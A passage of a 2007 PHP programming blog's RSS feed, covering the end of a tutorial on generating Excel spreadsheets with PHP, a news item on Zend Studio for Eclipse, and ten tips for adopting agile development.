<p>Next, add a header row for a catalog. Add another format to the workbook for the header row. Set text to bold and font size to 15 pixels. Create a format for the data to be added to the worksheet. Set the font style to italic using Format::setItalic() and font size to 12 pixels. Set alignment of text to &#8216;center&#8217; with Format::setAlign(). Horizontal alignment may be set to left, center, right, fill, justify, merge, or equal_space. Vertical alignment may be set to top, vcenter, bottom, vjustify, or vequal_space. A combination of horizontal and vertical alignment may be specified by invoking the setAlign() function more than once. Using the format for row data add a row of data with Worksheet::write(). The rows and columns are 0 indexed. Add a hyperlink to the Title column value with Worksheet::writeUrl(). The $url parameter specifies the URL of the hyperlink and the $string parameter specifies the label for the hyperlink.</p>
<p>Catalog-excel.php for creating an Excel spreadsheet is available in resources zip here. Run the PHP script with the URL http://localhost/catalog.php to create an Excel spreadsheet in the htdocs directory.</p>
<p>After all that you should now have an Excel spreadsheet that looks similar to my screen shot.</p>
<p>Excel Spreadsheet generated with PHP.</p>
<p>If you have, then you&#8217;ve successfully created a document in the business world&#8217;s chosen medium for expressing information using one of the internet&#8217;s hottest programming languages.</p>
]]></content:encoded>
			<wfw:commentRss>http://rochakchauhan.com/blog/2007/12/11/build-your-pdf-and-excel-reports-with-php/feed/</wfw:commentRss>
		<slash:comments>518</slash:comments>
		</item>
		<item>
		<title>Zend predicts Java and PHP oneness</title>
		<link>http://rochakchauhan.com/blog/2007/12/07/zend-predicts-java-and-php-oneness/</link>
		<comments>http://rochakchauhan.com/blog/2007/12/07/zend-predicts-java-and-php-oneness/#comments</comments>
		<pubDate>Fri, 07 Dec 2007 11:33:18 +0000</pubDate>
		<dc:creator>rochakchauhan</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Softwares]]></category>
		<category><![CDATA[Tech News]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://rochakchauhan.com/blog/2007/12/07/zend-predicts-java-and-php-oneness/</guid>
		<description><![CDATA[Lately, Zend Technologies has worked to put PHP in the enterprise by optimizing its tools for Oracle and IBM databases and middleware. Today, Zend makes its latest move on the enterprise, by throwing open early code for an up-coming PHP suite based on Eclipse. Zend thinks this will let it integrate with other Eclipse-based Java &#8230; <a class="read-excerpt" href="http://rochakchauhan.com/blog/2007/12/07/zend-predicts-java-and-php-oneness/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Lately, Zend Technologies has worked to put PHP in the enterprise by optimizing its tools for Oracle and IBM databases and middleware.</p>
<p>Today, Zend makes its latest move on the enterprise, by throwing open early code for an up-coming PHP suite based on Eclipse. Zend thinks this will let it integrate with other Eclipse-based Java tools from IBM and Oracle.</p>
<p>Oracle, meanwhile, will try to earn brownie points with the PHP community by releasing a PHP driver for connection pooling with its new 11g database. The driver lets developers build architectures that satisfy the need for speed without bolting on more servers or using client-side caching, Zend said.</p>
<p>Opening its conference and expo, Zend will announce a public beta for Zend Studio for Eclipse, due in the first quarter of 2008. Zend Studio for Eclipse builds on the Eclipse PHP Developer Tools (PDT) project &#8211; which it co-developed through Eclipse &#8211; by adding management tools missing in the free version of the platform serving lifecycle support, unit testing and profiling.</p>
<p>That functionality will cost $299 per developer, although those with a Zend Studio support contract get the Eclipse-based version of Studio for free.</p>
<p>Why so generous? The Eclipse-based Studio is important for Zend: as well as tapping into IBM and Oracle tools, it adds integration with Zend&#8217;s own application server and the Zend Framework that launched this year into a crowded framework market of more than 130 AJAX frameworks. Zend wants to establish a critical mass of developers and partners to ensure the long-term survival of its scripting framework.</p>
<p>&#8220;The commercial version [Zend Studio for Eclipse] looks at what a business developer needs building critical business applications,&#8221; Zend co-founder and co-chief technology officer Andy Gutmans told The Register.</p>
<p>By basing its PHP platform on Eclipse, Gutmans believes that &#8211; in the long term &#8211; Zend can deliver an environment for building applications using PHP and Java.</p>
<p>That&#8217;s a tall order, given that Java vendors such as Codegear, who are bigger than Zend,are adding scripting to their Java IDEs or rolling out their own scripting tools. Also there&#8217;s that price, with many developers finding free versions of tools can often meet their needs.</p>
<p>Regardless: &#8220;With Eclipse we can now work towards having PHP development and Java development in the same tool and provide real value,&#8221; Gutmans declared.</p>
<p>Database integration work is an area where Zend could score big over rivals. The only thing better than a good scripting language these days is a fast and lightweight database to store objects and information. Zend&#8217;s work with IBM and Oracle on the Zend Core will help here. The only problem? MySQL, which scripting developers have been gravitating towards instead of IBM or Oracle. Zend is also a MySQL partner</p>
]]></content:encoded>
			<wfw:commentRss>http://rochakchauhan.com/blog/2007/12/07/zend-predicts-java-and-php-oneness/feed/</wfw:commentRss>
		<slash:comments>543</slash:comments>
		</item>
		<item>
		<title>Ten Tips for Rapid Software Development.</title>
		<link>http://rochakchauhan.com/blog/2007/12/07/ten-tips-for-rapid-software-development/</link>
		<comments>http://rochakchauhan.com/blog/2007/12/07/ten-tips-for-rapid-software-development/#comments</comments>
		<pubDate>Fri, 07 Dec 2007 11:17:05 +0000</pubDate>
		<dc:creator>rochakchauhan</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Softwares]]></category>
		<category><![CDATA[Tech News]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://rochakchauhan.com/blog/2007/12/07/ten-tips-for-rapid-software-development/</guid>
		<description><![CDATA[1. Begin all transitions with a readiness assessment. &#8220;Really look at your organization. Talk to your people. Look for roadblocks. Ask yourself, what is this agile stuff and how does it compare to our old way&#8221;. 2. Evolve by learning a little of everything. &#8220;Don&#8217;t start with fragile agile, where you have a few pieces &#8230; <a class="read-excerpt" href="http://rochakchauhan.com/blog/2007/12/07/ten-tips-for-rapid-software-development/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>1. Begin all transitions with a readiness assessment. &#8220;Really look at your organization. Talk to your people. Look for roadblocks. Ask yourself, what is this agile stuff and how does it compare to our old way&#8221;.</p>
<p>2. Evolve by learning a little of everything. &#8220;Don&#8217;t start with fragile agile, where you have a few pieces of the process, but nothing that is really going to make a difference in your organization&#8221;.</p>
<p>3. Educate the &#8220;organizational antibodies&#8221;. &#8220;After a successful project, they come out of the woodwork to declare that it was a fluke, to squelch the transition. Start with a pilot project, but be sure to take the time to dispel the myths about agile throughout the organization. Work with people who aren&#8217;t part of that project. These are your future agile communities&#8221;.</p>
<p>4. Sell the risks of not going agile. &#8220;You can&#8217;t sell, say, pair programming. It&#8217;s a mistake to try. But you can sell the risks of solo programming. Focusing the risks tends to be a good thing&#8221;.</p>
<p>5. Business trumps process. &#8220;Once I say that to executives, they breathe a sigh of relief. At the end of the day, you&#8217;ve got to be in business. Understand that business concerns sometimes &#8211; not all the time &#8211; are more important than process concerns&#8221;.</p>
<p>6. Engage the entire organization. &#8220;Talk to the executives and management. Talk to customers, subject matter experts, technical writers. Get everyone involved. Dispel their fears that there&#8217;s no place for them in this new process&#8221;.</p>
<p>7. Pick a big important project. &#8220;If you start with some big hairy project, there&#8217;s a good chance you&#8217;ll automatically cover several of the previous tips&#8221;.</p>
<p>8. Handle the scaling problems. &#8220;This is an issue with agile. E-learning and a kind of serialized knowledge transfer can help&#8221;.</p>
<p>9. Gather metrics. &#8220;This one trips people up. If you don&#8217;t gather metrics for a living, work with an expert. With documented evidence that agile is making you more productive you&#8217;ll have a better chance of keeping it in place when there&#8217;s a management reshuffle&#8221;.</p>
<p>10. Fail fast. &#8220;In this day and age, if you want to be successful in software, you&#8217;ve got to have the ability to fail fast. You want to see problems very quickly. But it&#8217;s not just about testing. This is an attitude shift. Failure is not a bad thing; it&#8217;s a way to learn&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://rochakchauhan.com/blog/2007/12/07/ten-tips-for-rapid-software-development/feed/</wfw:commentRss>
		<slash:comments>551</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->
